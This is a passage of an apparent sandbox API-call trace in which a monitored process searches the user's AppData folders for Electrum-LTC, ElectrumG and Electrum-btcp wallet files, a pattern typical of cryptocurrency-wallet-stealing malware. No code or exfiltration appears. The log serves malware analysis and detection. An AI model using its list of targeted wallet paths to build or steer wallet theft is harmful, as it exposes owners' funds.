HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\*") returned 1 [0061.944] SysReAllocStringLen (in: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\*", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\*", len=0x44 | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\*") returned 1 [0061.944] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\*", lpFindFileData=0x18e350 | out: lpFindFileData=0x18e350*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.944] SysReAllocStringLen (in: pbstr=0x18e5b8*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\\\", len=0x44 | out: pbstr=0x18e5b8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\\\") returned 1 [0061.944] SysReAllocStringLen (in: pbstr=0x18e298*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\\\", len=0x44 | out: pbstr=0x18e298*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\\\") returned 1 [0061.944] SysReAllocStringLen (in: pbstr=0x18e5b8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\\\", len=0x44 | out: pbstr=0x18e5b8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\\\") returned 1 [0061.944] SysReAllocStringLen (in: pbstr=0x18e294*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\", len=0x43 | out: pbstr=0x18e294*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\") returned 1 [0061.945] SysReAllocStringLen (in: pbstr=0x18e5b8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\", len=0x43 | out: pbstr=0x18e5b8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\") returned 1 [0061.945] SysReAllocStringLen (in: pbstr=0x18e290*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\", len=0x43 | out: pbstr=0x18e290*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\") returned 1 [0061.945] SysReAllocStringLen (in: pbstr=0x18e5b8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\", len=0x43 | out: pbstr=0x18e5b8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\") returned 1 [0061.945] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e350 | out: lpFindFileData=0x18e350*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.945] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.945] ExpandEnvironmentStringsW (in: lpSrc="%appdata%\\ElectrumG\\wallets\\", lpDst=0x702cc4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\") returned 0x41 [0061.945] SysReAllocStringLen (in: pbstr=0x18e5d0*="%appdata%\\ElectrumG\\wallets\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\", len=0x40 | out: pbstr=0x18e5d0*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\") returned 1 [0061.945] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="*", cchWideChar=1, lpMultiByteStr=0x18d294, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*ã\x18", lpUsedDefaultChar=0x0) returned 1 [0061.945] SysReAllocStringLen (in: pbstr=0x18e340*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\", len=0x40 | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\") returned 1 [0061.945] SysReAllocStringLen (in: pbstr=0x18e294*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\", len=0x40 | out: pbstr=0x18e294*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\") returned 1 [0061.945] SysReAllocStringLen (in: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\", len=0x40 | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\") returned 1 [0061.945] SysReAllocStringLen (in: pbstr=0x18e290*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\", len=0x40 | out: pbstr=0x18e290*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\") returned 1 [0061.945] SysReAllocStringLen (in: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\", len=0x40 | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\") returned 1 [0061.945] SysReAllocStringLen (in: pbstr=0x18e28c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\", len=0x40 | out: pbstr=0x18e28c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\") returned 1 [0061.945] SysReAllocStringLen (in: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\", len=0x40 | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\") returned 1 [0061.945] SysReAllocStringLen (in: pbstr=0x42ad428*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\", len=0x40 | out: pbstr=0x42ad428*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\") returned 1 [0061.945] SysReAllocStringLen (in: pbstr=0x18e5bc*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\", len=0x40 | out: pbstr=0x18e5bc*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\") returned 1 [0061.945] SysReAllocStringLen (in: pbstr=0x18e298*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\", len=0x40 | out: pbstr=0x18e298*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\") returned 1 [0061.945] SysReAllocStringLen (in: pbstr=0x18e5bc*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\", len=0x40 | out: pbstr=0x18e5bc*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\") returned 1 [0061.945] SysReAllocStringLen (in: pbstr=0x18e294*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\", len=0x40 | out: pbstr=0x18e294*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\") returned 1 [0061.945] SysReAllocStringLen (in: pbstr=0x18e5bc*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\", len=0x40 | out: pbstr=0x18e5bc*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\") returned 1 [0061.946] SysReAllocStringLen (in: pbstr=0x18e290*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\", len=0x40 | out: pbstr=0x18e290*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\") returned 1 [0061.946] SysReAllocStringLen (in: pbstr=0x18e5bc*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\", len=0x40 | out: pbstr=0x18e5bc*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\") returned 1 [0061.946] SysReAllocStringLen (in: pbstr=0x18e33c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\\\*", len=0x42 | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\\\*") returned 1 [0061.946] SysReAllocStringLen (in: pbstr=0x18e294*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\\\*", len=0x42 | out: pbstr=0x18e294*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\\\*") returned 1 [0061.946] SysReAllocStringLen (in: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\\\*", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\\\*", len=0x42 | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\\\*") returned 1 [0061.946] SysReAllocStringLen (in: pbstr=0x18e290*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\*", len=0x41 | out: pbstr=0x18e290*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\*") returned 1 [0061.946] SysReAllocStringLen (in: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\\\*", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\*", len=0x41 | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\*") returned 1 [0061.946] SysReAllocStringLen (in: pbstr=0x18e28c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\*", len=0x41 | out: pbstr=0x18e28c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\*") returned 1 [0061.946] SysReAllocStringLen (in: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\*", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\*", len=0x41 | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\*") returned 1 [0061.946] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\*", lpFindFileData=0x18e350 | out: lpFindFileData=0x18e350*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.946] SysReAllocStringLen (in: pbstr=0x18e5b8*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\\\", len=0x41 | out: pbstr=0x18e5b8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\\\") returned 1 [0061.946] SysReAllocStringLen (in: pbstr=0x18e298*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\\\", len=0x41 | out: pbstr=0x18e298*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\\\") returned 1 [0061.946] SysReAllocStringLen (in: pbstr=0x18e5b8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\\\", len=0x41 | out: pbstr=0x18e5b8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\\\") returned 1 [0061.946] SysReAllocStringLen (in: pbstr=0x18e294*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\", len=0x40 | out: pbstr=0x18e294*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\") returned 1 [0061.946] SysReAllocStringLen (in: pbstr=0x18e5b8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\", len=0x40 | out: pbstr=0x18e5b8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\") returned 1 [0061.946] SysReAllocStringLen (in: pbstr=0x18e290*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\", len=0x40 | out: pbstr=0x18e290*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\") returned 1 [0061.946] SysReAllocStringLen (in: pbstr=0x18e5b8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\", len=0x40 | out: pbstr=0x18e5b8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\") returned 1 [0061.946] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e350 | out: lpFindFileData=0x18e350*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.946] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.946] ExpandEnvironmentStringsW (in: lpSrc="%appdata%\\Electrum-btcp\\wallets\\", lpDst=0x702cc4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\") returned 0x45 [0061.947] SysReAllocStringLen (in: pbstr=0x18e5d0*="%appdata%\\Electrum-btcp\\wallets\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\", len=0x44 | out: pbstr=0x18e5d0*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\") returned 1 [0061.947] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="*", cchWideChar=1, lpMultiByteStr=0x18d294, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*ã\x18", lpUsedDefaultChar=0x0) returned 1 [0061.947] SysReAllocStringLen (in: pbstr=0x18e340*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\", len=0x44 | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\") returned 1 [0061.947] SysReAllocStringLen (in: pbstr=0x18e294*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\", len=0x44 | out: pbstr=0x18e294*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\") returned 1 [0061.947] SysReAllocStringLen (in: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\", len=0x44 | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\") returned 1 [0061.947] SysReAllocStringLen (in: pbstr=0x18e290*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\", len=0x44 | out: pbstr=0x18e290*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\") returned 1 [0061.947] SysReAllocStringLen (in: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\", len=0x44 | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\") returned 1 [0061.947] SysReAllocStringLen (in: pbstr=0x18e28c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\", len=0x44 | out: pbstr=0x18e28c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\") returned 1 [0061.947] SysReAllocStringLen (in: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\", len=0x44 | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\") returned 1 [0061.947] SysReAllocStringLen (in: pbstr=0x42ad428*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\", len=0x44 | out: pbstr=0x42ad428*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\") returned 1 [0061.947] SysReAllocStringLen (in: pbstr=0x18e5bc*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\", len=0x44 | out: pbstr=0x18e5bc*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\") returned 1 [0061.947] SysReAllocStringLen (in: pbstr=0x18e298*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\", len=0x44 | out: pbstr=0x18e298*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\") returned 1 [0061.947] SysReAllocStringLen (in: pbstr=0x18e5bc*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\", len=0x44 | out: pbstr=0x18e5bc*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\") returned 1 [0061.947] SysReAllocStringLen (in: pbstr=0x18e294*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\", len=0x44 | out: pbstr=0x18e294*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\") returned 1 [0061.947] SysReAllocStringLen (in: pbstr=0x18e5bc*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\", len=0x44 | out: pbstr=0x18e5bc*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\") returned 1 [0061.947] SysReAllocStringLen (in: pbstr=0x18e290*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\", len=0x44 | out: pbstr=0x18e290*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\") returned 1 [0061.947] SysReAllocStringLen (in: pbstr=0x18e5bc*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\", len=0x44 | out: pbstr=0x18e5bc*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\") returned 1 [0061.947] SysReAllocStringLen (in: pbstr=0x18e33c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\\\*", len=0x46 | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\\\*") returned 1 [0061.947] SysReAllocStringLen (in: pbstr=0x18e294*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\\\*", len=0x46 | out: pbstr=0x18e294*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\\\*") returned 1 [0061.948] SysReAllocStringLen (in: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\\\*", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\\\*", len=0x46 | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\\\*") returned 1 [0061.948] SysReAllocStringLen (in: pbstr=0x18e290*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\*", len=0x45 | out: pbstr=0x18e290*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\*") returned 1 [0061.948] SysReAllocStringLen (in: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\\\*", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\*", len=0x45 | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\*") returned 1 [0061.948] SysReAllocStringLen (in: pbstr=0x18e28c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\*", len=0x45 | out: pbstr=0x18e28c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\*") returned 1 [0061.948] SysReAllocStringLen (in: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\*", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\*", len=0x45 | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\*") returned 1 [0061.948] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\*", lpFindFileData=0x18e350 | out: lpFindFileData=0x18e350*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.948] SysReAllocStringLen (in: pbstr=0x18e5b8*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\\\", len=0x45 | out: pbstr=0x18e5b8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\\\") returned 1 [0061.948] SysReAllocStringLen (in: pbstr=0x18e298*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\\\", len=0x45 | out: pbstr=0x18e298*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\\\") returned 1 [0061.948] SysReAllocStringLen (in: pbstr=0x18e5b8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\\\", len=0x45 | out: pbstr=0x18e5b8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\\\") returned 1 [0061.948] SysReAllocStringLen (in: pbstr=0x18e294*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-btcp\\wallets\\", len=0x44 | out: pbstr=0x18e294*="C:\\Users\\5p5NrGJn0jS 